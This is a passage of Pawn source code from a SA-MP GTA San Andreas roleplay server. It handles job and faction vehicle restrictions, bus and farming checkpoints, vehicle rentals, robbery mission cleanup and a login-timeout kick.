				ShowPlayerDialog(playerid, 406, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
			else if(PlayerInfo[playerid][pCar_5] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh5];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
				ShowPlayerDialog(playerid, 407, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
			else if(PlayerInfo[playerid][pCar_6] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh6];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
				ShowPlayerDialog(playerid, 408, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
	   }
	   if(IsPGangCar4(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 12||PlayerInfo[playerid][pMember] == 12) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_GroveStreet,"You are not a Dangerous Tiger Family member.");}
	   }
	   if(IsPGangCar5(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 13||PlayerInfo[playerid][pMember] == 13) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_Vagos,"You are not a Legendary Men Family member.");}
	   }
	   if(IsABike(newcar))
	   {
		  new vid = GetPlayerVehicleID(playerid);
		  GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
		  SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
		  EngineSTATE[newcar] = 1;
	   }
	   if(IsPGangCar8(newcar))
	   {
		new vid = GetPlayerVehicleID(playerid);
		GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
		SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
		EngineSTATE[newcar] = 1;
	   }
	   new pveh = GetVehicleModel(GetPlayerVehicleID(playerid));
	   if(pveh == 510 || pveh == 481 || pveh == 509)
	   {
	   new vid = GetPlayerVehicleID(playerid);
		GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
		SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
		EngineSTATE[newcar] = 1;
		}
	   if(IsPGangCar6(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 14||PlayerInfo[playerid][pMember] == 14) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_TBF,"You are not a Fast N Furious Family member.");}
	   }
	   if(IsPGangCar7(newcar))

	   {
		  if(PlayerInfo[playerid][pLeader] == 15||PlayerInfo[playerid][pMember] == 15) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_VLA,"You are not a Storm Men Family member.");}
	   }
	   if(IsPGangCar19(newcar))

	   {
		  if(PlayerInfo[playerid][pLeader] == 19||PlayerInfo[playerid][pMember] == 19) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_TopBoys,"You are not a Top Boys member.");}
	   }
		if(GetPlayerVehicleID(playerid) == sweeper1 || GetPlayerVehicleID(playerid) == sweeper2 || GetPlayerVehicleID(playerid) == sweeper3 || GetPlayerVehicleID(playerid) == sweeper4 || GetPlayerVehicleID(playerid) == sweeper5)
	   {
		  if(PlayerInfo[playerid][pJob] == 22)
		  {
			SweepingJob[playerid] = 1;
			SendMessage(playerid,COLOR_YELLOW,"Now, you can clear the streets and get money.");
		  SweepT[playerid] = SetTimerEx("SweeperJobFinish", 5000, true, "i", playerid);
		  }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_LIGHTBLUE,"You are not a Sweeper.");

			}
	   }
	   if(IsABus(newcar))
	   {
		  if(PlayerInfo[playerid][pJob] == 14)
		  {
		  }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_LIGHTBLUE,"You are not a Bus Driver."); }
	   }
		if(IsPizCar(newcar)) {
		if(PlayerInfo[playerid][pJob] == 21) {
		if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
		if(TooPiz[playerid] == 1) { SCM(playerid, COLOR_LIGHTBLUE, "Continue The Working ..."); }
		else
		{
		OnCheckpoint[playerid] = 1;
		SetPlayerCheckpoint(playerid,  2104.904541,-1806.644897,13.554687,5);
		SCM(playerid,COLOR_LIGHTBLUE,"First go to the checkpoint to start working.");
		CP[playerid] = 121;
		}
		}
		else {
		RemovePlayerFromVehicle(playerid);
		SendMessage(playerid, COLOR_LIGHTBLUE,"You are not a Pizza Boy."); }
		}
	   if(IsaTruckCar(newcar))
	   {
		   if(PlayerInfo[playerid][pJob] == 16)
		   {
		   if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
		   else
		   {
		   if(TruckAllowed[playerid] != 0) { SCM(playerid, COLOR_LIGHTBLUE, "Continue The Working ..."); }
		   else
		   {
		   OnCheckpoint[playerid] = 1;
		   SetPlayerCheckpoint(playerid,  -80.585586,-1130.416870,0.805137,4);
		   SCM(playerid,COLOR_LIGHTBLUE,"First go to the checkpoint to start working.");
		   CP[playerid] = 12345;
		   }
		   }
		   }
		   else {
		   RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_LIGHTBLUE,"You are not a Trucker."); }
	   }
	   if(IsATowcar(newcar))
	   {
		  if(PlayerInfo[playerid][pJob] == 7) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_LIGHTBLUE,"You are not a Car Mechanic.");}
	   }
	   if(IsATruck(newcar))
	   {
			 format(string, sizeof(string), "Products: %d/%d", PlayerHaul[newcar][pLoad],PlayerHaul[newcar][pCapasity]);
			 SendMessage(playerid, TEAM_GroveStreet_COLOR, string);
			 SendMessage(playerid, CRISTIAN, "____________________________________");
			 SendMessage(playerid, COLOR_GRAD4, "INFO: You can deliver Products to Businesses.");
			 SendMessage(playerid, COLOR_GRAD3, "INFO: Commands are /load /buyprods /sellprods");
	   }
	   if(newcar >= 111 && newcar <= 116)
	   {
		  if(TakingsiLesson[playerid] == 1) { }
		  else
		  {
			 if(!IsAnInstructor(playerid))
			 {
				SendMessage(playerid,COLOR_LIGHTBLUE,"You are not a School Instructor member.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
	   }
	   if(newcar == 1 || newcar == 2 || newcar == 11)
	   {
		  if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pRank] >= 3) { }
		  else
		  {
			 SendMessage(playerid,COLOR_BLUE,"You do not have rank 3 for flying Hunter.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(newcar == 8 ||newcar == 9 || newcar == 10)
	   {
		  if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pRank] >= 3) { }
		  else
		  {
			 SendMessage(playerid,COLOR_BLUE,"You do not have rank 3 for flying Hydra.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(IsABusCar(newcar))
	   {
		  if(PlayerInfo[playerid][pJob] != 14)
		  {
			 SendMessage(playerid,COLOR_LIGHTBLUE,"You are not a Bus driver.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(IsATaxiCar(newcar))
	   {
		  if(PlayerInfo[playerid][pMember] == 10||PlayerInfo[playerid][pLeader] == 10) { }
		  else
		  {
			 SendMessage(playerid,COLOR_TAXI,"You are not a Taxi Driver.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if((newcar >= 361 && newcar <= 367))
	   {
		if(TakingLesson[playerid] == 1)
		{
		if(PlayerInfo[playerid][pLanguage] == 2)
		{
		   SendMessage(playerid,COLOR_LIGHTBLUE,"Instructor: OK, Now type /engine to starts of the engine your car");
		}
		if(PlayerInfo[playerid][pLanguage] == 1)
		{
		  SCM(playerid,COLOR_LIGHTBLUE,"Moalem: Khob, hala type kon /engine Ya Press 2 ta mashino roshan koni va dakhele checkpoint ha beri.");
		}
			OnCheckpoint[playerid] = 1;
		  RCP[playerid] = 100;
		  SetPlayerRaceCheckpoint(playerid,0,1630.719238,-2191.763671,13.375000,1561.493774,-2191.953369,12.936288,5.0);
			PlayerTextDrawSetString(playerid, ExamTD[playerid], "Checkpoint: ~y~0/39");
			PlayerTextDrawShow(playerid, ExamTD[playerid]);
		}
		else
		{
		  SendMessage(playerid,COLOR_LIGHTBLUE,"You haven't key for this vehicle.");
		  RemovePlayerFromVehicle(playerid);
		}
	   }
	   if(IsANewsCar(newcar))
	   {
		  if(PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9){ }
		  else
		  {
			 SendMessage(playerid, COLOR_NEWS, "You are not a News Reporter member.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(newcar >= 377 && newcar <= 383 || newcar >= 69 && newcar <= 70)//ls
	   {
	   if(PlayerInfo[playerid][pJob] == 14)
	   {
	   ManTooBusam[playerid] = 1;
	   if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
	   else
	   {
	   if(BusLevel[playerid] == 0)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid, 1818.860473,-2093.046386,13.382812, 3.0);
	   CP[playerid] = 1200;
	   }
	   if(BusLevel[playerid] == 1)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1938.380371,-2169.916259,13.382812, 3.0);
	   CP[playerid] = 1201;
	   }
	   if(BusLevel[playerid] == 2)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2285.371826,-1662.898315,14.936391, 3.0);
	   CP[playerid] = 1202;
	   }
	   if(BusLevel[playerid] == 3)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2450.424804,-1448.213989,23.828125, 3.0);
	   CP[playerid] = 1203;
	   }
	   if(BusLevel[playerid] == 4)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2695.902832,-1661.408569,11.937602, 3.0);
	   CP[playerid] = 1204;
	   }
	   if(BusLevel[playerid] == 5)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2463.549804,330.016906,31.871097, 3.0);
	   CP[playerid] = 1205;
	   }
	   if(BusLevel[playerid] == 6)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2340.336181,113.618858,26.338420, 3.0);
	   CP[playerid] = 1206;
	   }
	   if(BusLevel[playerid] == 7)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1321.443481,238.963165,19.406250, 3.0);
	   CP[playerid] = 1207;
	   }
	   if(BusLevel[playerid] == 8)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,204.882202,-1375.271118,49.474456, 3.0);
	   CP[playerid] = 1208;
	   }
	   if(BusLevel[playerid] == 9)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,927.803588,-965.041687,38.253925, 3.0);
	   CP[playerid] = 1209;
	   }
	   if(BusLevel[playerid] == 10)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,793.322753,-1093.177124,23.955106, 3.0);
	   CP[playerid] = 1210;
	   }
	   if(BusLevel[playerid] == 11)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1191.808837,-1356.988891,13.377698, 3.0);
	   CP[playerid] = 1211;
	   }
	   if(BusLevel[playerid] == 12)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1525.891235,-1630.682006,13.382812, 3.0);
	   CP[playerid] = 1212;
	   }
	   if(BusLevel[playerid] == 13)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1788.017333,-1735.934448,13.382812, 3.0);
	   CP[playerid] = 1213;
	   }
	   if(BusLevel[playerid] == 14)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2236.548095,-1753.222290,13.390602, 3.0);
	   CP[playerid] = 1214;
	   }
	   if(BusLevel[playerid] == 15)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2346.216064,-1476.802490,23.828125, 3.0);
	   CP[playerid] = 1215;
	   }
	   if(BusLevel[playerid] == 16)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1798.175048,-2070.627929,13.570152, 3.0);
	   CP[playerid] = 1216;
	   }
	   SCM(playerid,COLOR_LIGHTBLUE,"Drive this bus to the checkpoint to earn money");
	   SCM(playerid,COLOR_LIGHTBLUE,"you can use /fare to set your fare and go on duty");
	   }
	   }
	   }
	   if(newcar >= 384 && newcar <= 388 || newcar >= 96 && newcar <= 97)//lv
	   {
	   if(PlayerInfo[playerid][pJob] == 14)
	   {
	   ManTooBusam[playerid] = 1;
	   if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
	   else{
	   if(BusLevelLV[playerid] == 0)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid, 1923.362792,2315.286132,10.671875, 3.0);
	   CP[playerid] = 1217;
	   }
	   if(BusLevelLV[playerid] == 1)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1923.543457,2116.836914,10.728834, 3.0);
	   CP[playerid] = 1218;
	   }
	   if(BusLevelLV[playerid] == 2)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2118.590576,1941.035766,10.671875, 3.0);
	   CP[playerid] = 1219;
	   }
	   if(BusLevelLV[playerid] == 3)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1920.406616,1717.348022,10.671875, 3.0);
	   CP[playerid] = 1220;
	   }
	   if(BusLevelLV[playerid] == 4)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1727.924926,1531.290161,10.664346, 3.0);
	   CP[playerid] = 1221;
	   }
	   if(BusLevelLV[playerid] == 5)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1723.038818,1365.177490,10.499944, 3.0);
	   CP[playerid] = 1222;
	   }
	   if(BusLevelLV[playerid] == 6)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1545.306762,1136.974609,10.671875, 3.0);
	   CP[playerid] = 1223;
	   }
	   if(BusLevelLV[playerid] == 7)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1084.777221,1197.034790,10.671875, 3.0);
	   CP[playerid] = 1224;
	   }
	   if(BusLevelLV[playerid] == 8)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1074.901123,2057.075439,10.671875, 3.0);
	   CP[playerid] = 1225;
	   }
	   if(BusLevelLV[playerid] == 9)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,168.761199,1156.248413,14.423420, 3.0);
	   CP[playerid] = 1226;
	   }
	   if(BusLevelLV[playerid] == 10)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1601.922119,1129.193847,10.671875, 3.0);
	   CP[playerid] = 1227;
	   }
	   if(BusLevelLV[playerid] == 11)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2134.760009,1369.082031,10.671875, 3.0);
	   CP[playerid] = 1228;
	   }
	   if(BusLevelLV[playerid] == 12)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,2556.691406,1308.975341,10.671875, 3.0);
	   CP[playerid] = 1229;
	   }
	   if(BusLevelLV[playerid] == 13)
	   {
	   OnCheckpoint[playerid] = 1;
	   SetPlayerCheckpoint(playerid,1893.817626,2286.743164,10.820312, 3.0);
	   CP[playerid] = 1230;
	   }
	   SCM(playerid,COLOR_LIGHTBLUE,"Drive this bus to the checkpoint to earn money");
	   SCM(playerid,COLOR_LIGHTBLUE,"you can use /fare to set your fare and go on duty");
	   }
	   }
	   else{ RemovePlayerFromVehicle(playerid); SCM(playerid, COLOR_LIGHTBLUE, "You are not a bus driver.");}
	   }
	   if(((newcar >= 117 && newcar <= 124) || (newcar >= 140 && newcar <= 147) || (newcar >= 102 && newcar <= 110) || (newcar >= 164 && newcar <= 169)) && newcar != 103 && newcar != 105)
	   {
		  if(MashinRenter[newcar] == INVALID_PLAYER_ID)
		  {
			 GameTextForPlayer(playerid, "~w~This vehicle is for ~r~Rent~n~~w~Type ~g~/rentvehicle ~w~to rent~n~and press ~r~Enter ~w~To cancel", 5000, 3);
			 OnRentMashinMessage[playerid] = true;
			 TogglePlayerControllable(playerid, 0);
		  }
		  else
		  {
			 if(IsPlayerConnected(MashinRenter[newcar]))
			 {
				new fTT[128];
				format(fTT, 128, "This vehicle is rented by %s.", PINFO[MashinRenter[newcar]][pName]);
				SCM(playerid, COLOR_WHITE, fTT);
			 }
			 else SetVehicleToRespawn(newcar);
		  }
	   }
		/*
	   if((newcar == 56) || (newcar >= 66 && newcar <= 68) || (newcar >= 644 && newcar <= 663)) {
	   {
		  if(PlayerInfo[playerid][pMember] == 8||PlayerInfo[playerid][pLeader] == 8) { }
		  else
		  {
			 SendMessage(playerid,COLOR_GREY,"You are not a Hitman member.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
		*/
	   if(IsAHarvest2(newcar))
	   {
	   if(PlayerInfo[playerid][pJob] == 18)
		  {
		  ManTooCom[playerid] = 1;
		  if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
		  else
		  {
		  SCM(playerid,COLOR_YELLOW,"Your farming is started,work to earn money.");
		  randomsms[playerid] = RandomShomare(1,5);
		  if(randomsms[playerid] == 1)
		  {
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 35469;
		  SetPlayerCheckpoint(playerid,-1110.039184,-1009.396606,128.780563,5);
		  }
		  if(randomsms[playerid] == 2)
		  {
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 35471;
		  SetPlayerCheckpoint(playerid,-1066.485229,-972.397888,129.218750,5);
		  }
		  if(randomsms[playerid] == 3)
		  {
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 35473;
		  SetPlayerCheckpoint(playerid,-1047.418945,-1028.907348,129.211929,5);
		  }
		  if(randomsms[playerid] == 4)
		  {
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 35475;
		  SetPlayerCheckpoint(playerid,-1117.415405,-1055.386230,129.218750,5);
		  }
		  if(randomsms[playerid] == 5)
		  {
		  OnCheckpoint[playerid] = 1;
		  CP[playerid] = 35477;
		  SetPlayerCheckpoint(playerid,-1013.720947,-921.570800,129.212646,5);
		  }
		  }
		  }
		  else { SendMessage(playerid, COLOR_LIGHTBLUE, "You are not Farmer.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(IsAHarvest(newcar))
	   {
		  if(PlayerInfo[playerid][pJob] == 18)
		  {
		  ManTooCom[playerid] = 1;
		  if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
		  else{
		  SCM(playerid,COLOR_YELLOW,"Your farming is started,work to earn money.");
		  randomsm[playerid] = RandomShomare(1,7);
			 if(randomsm[playerid] == 1)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-167.472991,-1409.605102,3.036767,5);
			 CP[playerid] = 12389;
			 }
			 if(randomsm[playerid] == 2)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-313.921447,-1382.667480,11.314981,5);
			 CP[playerid] = 12391;
			 }
			 if(randomsm[playerid] == 3)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-317.527496,-1327.227249,9.058633,5);
			 CP[playerid] = 12393;
			 }
			 if(randomsm[playerid] == 4)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-303.710906,-1318.423828,9.106340,5);
			 CP[playerid] = 12395;
			 }
			 if(randomsm[playerid] == 5)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-371.492431,-1323.586547,24.562522,5);
			 CP[playerid] = 12397;
			 }
			 if(randomsm[playerid] == 6)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-402.660888,-1290.676513,31.735294,5);
			 CP[playerid] = 12399;
			 }
			 if(randomsm[playerid] == 7)
			 {
			 OnCheckpoint[playerid] = 1;
			 SetPlayerCheckpoint(playerid,-402.660888,-1290.676513,31.735294,5);
			 CP[playerid] = 12401;
			 }
		  }
		  }
		  else
		  {
			 SendMessage(playerid, COLOR_LIGHTBLUE, "You are not Farmer.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   gLastCar[playerid] = newcar;
	   gLastDriver[newcar] = playerid;
	}
	else if(newstate != PLAYER_STATE_DRIVER && newstate != PLAYER_STATE_PASSENGER)
	{
		if(SweepingJob[playerid] == 1)
	   {
		  SCM(playerid,COLOR_MAMAD,"You stopped your working.");
		  SweepingJob[playerid] = 0;
	   }
	   if(OnRob[playerid] == true && RobLeader[playerid] == true)
	   {
		  SCM(playerid,COLOR_SINA3,"You have been exited from your vehicle, and failed on your mission.");
		  new strrali[256];format(strrali,256,"Mission ~r~Failed~n~~r~Leader(%s) has been exited from vehicle.",PINFO[playerid][pName]);
		  for(new i = 0;i<RobMemberCount[playerid];i++)
		  {
			 GameTextForPlayer(RobMember[playerid][i],strrali,9000,0);
			 OnRob[RobMember[playerid][i]] = false;
			 RobDriver[RobMember[playerid][i]] = INVALID_PLAYER_ID;
		  }
		  OnRob[playerid] = false;
		  if(CP[playerid] >= 2002001 && CP[playerid] <= 2002009){DisablePlayerCheckpoint(playerid);OnCheckpoint[playerid] = 0;CP[playerid] = 0;}
		  RobLeader[playerid] = false;
		  RobMemberCount[playerid] = 0;
		  for(new i = 0;i<MAX_PLAYERS;i++)
		  {
			 RobMember[playerid][i] = INVALID_PLAYER_ID;
		  }
		  RobDriver[playerid] = INVALID_PLAYER_ID;
	   }
	   if(TDShowedSpeedo[playerid] == true) {PlayerTextDrawHide(playerid, SpeedoTextDraw[playerid]);
		TDShowedSpeedo[playerid] = false;}
		//PlayerTextDrawHide(playerid, Textdraw85);
		//PlayerTextDrawHide(playerid, CarTD);
	   if(TDShowedFuel[playerid] == true) {PlayerTextDrawHide(playerid, FuelTextDraw[playerid]); TDShowedFuel[playerid] = false;}
	   PlayerTextDrawSetString(playerid, SpeedoTextDraw[playerid], "Speed: 0 ~w~Km/h");
	   if(TDShowedKilo[playerid] == true) {PlayerTextDrawHide(playerid, KiloTextDraw[playerid]); TDShowedKilo[playerid] = false;}
		if(TDShowedLock[playerid] == true) {PlayerTextDrawHide(playerid, LockTD[playerid]); TDShowedLock[playerid] = false;}
	   if(OnSpeedc[playerid] == 1)
	   {
		  SpeedTimerUsed[playerid] = false;
		  KillTimer(SpeedTimer[playerid]);
		  SpeedTimer[playerid] = 0;
		  OnSpeedc[playerid] = 0;
		  SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Disabled.");
	   }
	   if(OnAshghal[playerid] == 1)
	   {
		  SCM(playerid,COLOR_MAMAD,"You stopped your working.");
		  CP[playerid] = 0;
		  OnCheckpoint[playerid] = 0;
		  DisablePlayerCheckpoint(playerid);
		  OnAshghal[playerid] = 0;
	   }


	   if(CP[playerid] == 1 && PlayerInfo[playerid][pJob] == 5)
	   {
		  DisablePlayerCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
		  SCM(playerid,COLOR_LIGHTBLUE,"You Exited from Vehicle and losted mission!");
		  CP[playerid] = 0;
	   }
	   if(TakingLesson[playerid] == 1)
	   {
		  TakingLesson[playerid] = 0;
		  DisablePlayerRaceCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
		  if(PlayerInfo[playerid][pLanguage] == 2)
		  {
			 SCM(playerid, COLOR_LIGHTBLUE, "Exam: You exited the Exam car and losted on exam test!");
				PlayerTextDrawHide(playerid, ExamTD[playerid]);
		  }
		  if(PlayerInfo[playerid][pLanguage] == 1)
		  {
			 SCM(playerid,COLOR_LIGHTBLUE, "Moalem ranandegi: shoma be dalile piade shodan az mashin rad shodid.");
				PlayerTextDrawHide(playerid, ExamTD[playerid]);
		  }
		  SetVehicleToRespawn(gLastCar[playerid]);
		  RCP[playerid] = 0;
	   }
		if(OnTestMashine[playerid] == 1) // We found the number they clicked.
		{
		KillTimer(testemashin);
		SetTimerEx("OnTestMashin", 500, 0, "i", playerid);
		}
	   if(ManTooBusam[playerid] == 1)
	   {
		  ManTooBusam[playerid] = 0;
		  CP[playerid] = 0;
		  SCM(playerid,COLOR_LIGHTRED,"You left bus,Checkpoint deleted, you can go into a bus to reload it.");
		  DisablePlayerCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
	   }

	   if(ManTooCom[playerid] == 1)
	   {
		  ManTooCom[playerid] = 0;
		  DisablePlayerCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
		  randomsm[playerid] = 0;
		  SCM(playerid,COLOR_LIGHTGREEN,"You stopped your farming.");
		  CP[playerid] = 0;
	   }
	   new cp = CP[playerid];
	   if(cp >= 2002001 && cp <= 2002009)
	   {
		  CP[playerid] = 0;
		  DisablePlayerCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
		  SCM(playerid,COLOR_RED, "You exited the Rob vehicle");
	   }
	}
	if(newstate == PLAYER_STATE_SPAWNED)
	{
	   new Float: lwx, Float:lwy, Float:lwz;
	   GetPlayerPos(playerid, lwx, lwy, lwz);
	   if((lwz > 530.0) || PlayerToPoint(1000.0, playerid, -1041.9,-1868.4,79.1)) //the highest land point in sa = 526.8
	   {
		  SetPlayerSpawn(playerid);
	   }
	   TelePos[playerid][0] = 0.0;
	   TelePos[playerid][1] = 0.0;
	   gPlayerSpawned[playerid] = 1;
	}
	return 1;
}

public CarTow(carid)
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(IsPlayerInVehicle(i, carid) || RentedVehicle[i] == carid)
		  {
			 return 0;
		  }
	   }
	}
	return 1;
}

public LockCar(carid)
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  SetVehicleParamsForPlayer(carid,i,0,1);
			LockIs[carid][i] = 1;
	   }
	}
}

public UnLockCar(carid)
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(!IsAPlane(carid))
		  {
			 SetVehicleParamsForPlayer(carid,i,0,0);
				LockIs[carid][i] = 0;
		  }
	   }
	}
}

function kicklog(playerid)
{
	if(IsPlayerConnected(playerid) && gPlayerLogged[playerid] != 1)
	{
	   new ahmadzoghi[128];
	   format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Player %s didn't login less than 30 seconds (Kicked)",RPName(playerid));
       AdminWarn(ahmadzoghi);
	   KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked, reason: You didn't login in 30 seconds.");
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
	}
	return 1;
}
function wantedemanebaw(playerid)
{
KillTimer(WantedeMan[playerid]);
	if(GetPlayerWantedLevel(playerid) >= 1)
	{
	   SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)-1);
	   new points = GetPlayerWantedLevel(playerid);
	   new wlevel;
	   if(points > 0)
	   {
		  new yesno;
		  if(points >= 1 && points <= 6) { WantedLevel[playerid] = points; wlevel = points; yesno = 1; }
		  if(yesno)
		  {
			 new string[256];
			 SCM(playerid,COLOR_LIGHTRED,"Wanted -1, reason: Cops lost your track.");
			 format(string, sizeof(string), "Current Wanted Level: %d", wlevel);
			 SendMessage(playerid, COLOR_YELLOW, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s's wantedlevels decreased. CWL: %d", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(1, COLOR_BLUE, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s's wantedlevels decreased. CWL: %d", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(2, COLOR_BLUE, string);
				format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s's wantedlevels decreased. CWL: %d", PlayerInfo[playerid][pName], wlevel);
				SendFamilyMessage(3, COLOR_BLUE, string);
			 SetPlayerWantedLevel(playerid,wlevel);
			 if(GetPlayerWantedLevel(playerid) == 0) {PlayerTextDrawHide(playerid, WantedTTD[playerid]); WantedTimerEZ[playerid] = 0;}
